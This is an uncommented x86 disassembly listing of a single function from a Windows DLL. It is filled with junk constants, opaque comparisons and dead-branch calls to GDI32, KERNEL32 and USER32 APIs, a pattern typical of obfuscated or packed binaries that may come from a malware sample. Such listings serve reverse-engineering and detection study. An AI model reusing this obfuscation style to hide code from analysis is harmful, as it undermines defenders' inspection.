inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100289a8
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
mov dword [eax], 0x290be443
call fcn.10002246
dec dword [ebp - 0x30]
jns 0x10028996
xor eax, eax
mov dword [ebp - 0x114], ebx
push 7
pop edi
mov word [ebp - 0x124], ax
lea ecx, [ebp - 0x124]
lea eax, [ebp - 0x50]
mov dword [ebp - 0x110], edi
push eax
call fcn.10023986
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x24], 0xe9323d1b
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x20], 0xae28de6
mov dword [ebp - 0x2c], 0x510afbd1
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], 0x4679f786
mov eax, dword [ebp - 0x30]
cmp eax, 0x837a
setne cl
xor eax, eax
add ecx, 0xb0e8
cmp ecx, esi
setle al
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
add eax, 0x5378470e
cmp eax, esi
mov eax, dword [ebp - 0x30]
setg cl
xor ebx, ebx
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
setle bl
xor edx, edx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x24]
cmp edx, ebx
je 0x10028a85
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], 0x19b885b3
mov dword [ebp - 0x3c], 0xd6158f8
mov dword [ebp - 0x38], 0x5aca64a9
mov dword [ebp - 0x18], ebx
jmp 0x10028ab4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10028aa7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x9c]
sub ecx, eax
cmp ecx, dword [ebp - 0x20]
jl 0x10028ad3
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 2
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
add edx, 0x2b0a94fe
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x34]
je 0x10028b4f
mov dword [ebp - 0x44], 0xffffffff
xor edx, edx
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], 0x93632cac
mov eax, 0x89e7675d
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setg bl
xor ecx, ecx
cmp ebx, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x34], ecx
jmp 0x10028c99
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x28], 0xed5c0eb
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x28], ebx
jmp 0x10028b73
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7c], 0xfb40acb4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10028b65
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 2
jg 0x10028c82
push 4
mov dword [ebp - 0x44], 0x62155b9
mov eax, dword [ebp - 0x3c]
pop ecx
sub ecx, eax
je 0x10028bb2
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x38], ebx
jne 0x10028bb0
cmp dword [ebp - 0x18], ebx
je 0x10028bb2
mov ebx, esi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp ebx, eax
push 0
setge cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x7c], 0xffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x9c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle cl
xor ebx, ebx
cmp ecx, 0xedf4
setle bl
xor ecx, ecx
mov dword [ebp + eax*4 - 0x9c], ebx
mov edx, dword [ebp - 0x44]
add edx, ebx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
pop ebx
cmp eax, edx
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x7c]
cmp edi, eax
mov eax, dword [ebp - 0x40]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10028b85
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10028c99
push ebx
push ebx
push ebx
push 0xc9b
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov dword [ebp - 0x18], 0xea5d6c05
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10028cb5
push 0xf54
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov dword [ebp - 0x18], 0xffffffe8
jmp 0x10028ce7
mov dword [ebp - 0x30], 0xeede0b40
mov dword [ebp - 0x30], 6
jmp 0x10028cde
mov dword [ebp - 0x44], 0xf8f0aa6e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff3
jne 0x10028cce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x11
jg 0x10028cbe
push 0x5f
pop eax
push 2
mov dword [ebp - 0x68], 0xfb047300
mov ecx, ebx
mov byte [ebp - 0x64], al
mov word [ebp - 0x63], 0x2741
mov word [ebp - 0x58], ax
pop edi
cmp edi, 2
jne 0x10028d15
push 5
pop ecx
push ecx
pop edi
jmp 0x10028d3c
movzx edx, byte [ebp + edi - 0x67]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x6a]
movzx eax, word [ebp + eax*2 - 0x58]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + edi - 0x68]
mov word [ebp + eax*2 - 0x58], cx
mov ecx, ebx
add edi, 2
cmp edi, 7
jb 0x10028d09
xor eax, eax
mov word [ebp - 0x56], ax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], ebx
jmp 0x10028d63
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x178], 0x624039b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028d52
mov dword [ebp - 0x18], ebx
jmp 0x10028d7c
cmp byte [ebp - 0x19], 0
je 0x10028d79
call dword [sym.imp.USER32.dll_WaitMessage]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
mov byte [ebp - 0x19], bl
jle 0x10028d6d
cmp byte [ebp - 0x19], 0
je 0x10028d94
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor eax, eax
mov dword [ebp - 0x1a8], 7
mov word [ebp - 0x1bc], ax
lea ecx, [ebp - 0x1bc]
lea eax, [ebp - 0x58]
mov dword [ebp - 0x1ac], ebx
push eax
call fcn.10023986
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x18], 0x69fdf99f
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x18], ebx
jmp 0x10028de0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], 0xbacd7953
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028dcf
mov dword [ebp - 0x18], 0x14
jmp 0x10028e1c
mov dword [ebp - 0x28], 0x85bf25cb
mov dword [ebp - 0x28], ebx
jmp 0x10028e11
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x90]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10028dfa
mov dword [ebp - 0x44], esi
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffea
jl 0x10028dee
mov dword [ebp - 0x58], ebx
push dword [ebp - 0x114]
cmp dword [ebp - 0x110], 8
lea eax, [ebp - 0x124]
push ebx
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x1d4]
push eax
call fcn.100290e9
cmp eax, 0xffffffff
je 0x10028e6a
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1bc]
push ecx
push esi
push eax
lea ecx, [ebp - 0x1d4]
call fcn.1001918d
jmp 0x10028e25
mov dword [ebp - 0x18], ebx
jmp 0x10028e80
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x134], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10028e6f
mov dword [ebp - 0x12c], ebx
jmp 0x10028ea9
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10028ea3
push ebx
push 0x350
call dword [sym.imp.USER32.dll_ClientToScreen]
inc dword [ebp - 0x12c]
cmp dword [ebp - 0x12c], 0xf
je 0x10028e8e
mov ecx, dword [ebp - 0x80]
lea eax, [ebp - 0x1d4]
push eax
lea edx, [ebp - 0x190]
call fcn.1002918c
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1bc]
call fcn.10014b87
push ebx
push esi
lea ecx, [ebp - 0x124]
call fcn.10014b87
push ebx
push esi
lea ecx, [ebp - 0x1d4]
call fcn.10014b87
push ebx
push esi
lea ecx, [ebp - 0x190]
call fcn.10014b87
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x80]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret